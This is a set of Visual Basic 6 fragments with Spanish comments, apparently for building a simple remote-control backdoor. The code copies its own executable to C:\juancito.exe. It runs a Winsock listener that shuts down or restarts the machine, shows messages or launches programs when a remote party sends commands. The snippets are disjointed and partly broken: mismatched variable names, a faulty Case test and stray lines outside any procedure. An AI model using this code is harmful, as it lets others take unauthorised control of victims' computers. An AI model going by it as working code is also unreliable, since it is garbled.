Private Sub Command1_Click()
        Dim fso As filesystemobject
        Dim desde, hasta As String
        source = App.Path & "\" & App.EXEName & ".exe"
        destiny = "C:\juancito.exe"
        Set fso = New filesystemobject
        fso.CopyFile desde, hasta, True
        Set fso = Nothing
End Sub

Call CopyFile(App.Path + "\" + App.EXEName + ".exe", route66 & "\" & "miarchivo.exe", 0)

Private Sub Ws_DataArrival(ByVal bytestotal As Long)
Dim datos As String
ws.GetData datos        '  datos recibidos a la variable datos
Select case datos
Case apa
    Shell ("cmd.exe /c shutdown -s -t 1")
Case rei
    Shell ("cmd.exe /c shutdown -r -t 2"), vbHide
Case Left(datos, 3) = "msg"
    datos = Right(datos, Len(datos) - 3) 
    MsgBox (datos)
Case paint
    Shell ("mspaint")
End select

minuto = 0
minuto = minuto + 1

minuto = 1

Private Sub Timer1_Timer()
If Winsock1.State <> 2 & Winsock1.State <> 7 Then
Winsock1.Close  ' acordate siempre de cerrarlo
Winsock1.Listen
End If
If Winsock1.State = sckConnected Then
Label1.Caption = "conectado"
End If
End Sub